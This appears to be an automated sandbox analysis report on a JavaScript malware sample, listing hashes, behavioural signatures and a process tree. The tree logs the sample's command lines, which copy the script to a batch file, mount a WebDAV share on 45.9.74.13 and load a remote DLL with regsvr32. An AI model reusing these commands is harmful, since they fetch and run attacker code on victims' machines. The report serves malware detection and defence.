Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 15:14

General

  • Target

    1ccd1c118cd5410e14d4c650dfec0ea5182fcf5e841f85314d6d0128d7430d50.js

  • Size

    5KB

  • MD5

    3fd0d39305ae14603cdcbbf6146171a0

  • SHA1

    af0481db8e65712067b4613e0dd0ea7eb946a10c

  • SHA256

    1ccd1c118cd5410e14d4c650dfec0ea5182fcf5e841f85314d6d0128d7430d50

  • SHA512

    dc2f079e0632743a1acb8389de5dd1fb9f7b88fdcd267047d572b0b111565285e731f1add66479f6cd3925503c6dce0223946a05475e70d94d6c12f252277c5f

  • SSDEEP

    96:qr1h/ua5dlorXuCjQ83FuCjMLQP86tcX8qFWfuyrXW4XodyNorHyrIybK5Yrqke0:q7G+Cjj3ICjmcnq6rTySrbg9oAkWo3

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1ccd1c118cd5410e14d4c650dfec0ea5182fcf5e841f85314d6d0128d7430d50.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1ccd1c118cd5410e14d4c650dfec0ea5182fcf5e841f85314d6d0128d7430d50.js" "C:\Users\Admin\\vinpnc.bat" && "C:\Users\Admin\\vinpnc.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3604
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\37.dll
          3⤵
            PID:2592

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\vinpnc.bat

        Filesize

        5KB

        MD5

        3fd0d39305ae14603cdcbbf6146171a0

        SHA1

        af0481db8e65712067b4613e0dd0ea7eb946a10c

        SHA256

        1ccd1c118cd5410e14d4c650dfec0ea5182fcf5e841f85314d6d0128d7430d50

        SHA512

        dc2f079e0632743a1acb8389de5dd1fb9f7b88fdcd267047d572b0b111565285e731f1add66479f6cd3925503c6dce0223946a05475e70d94d6c12f252277c5f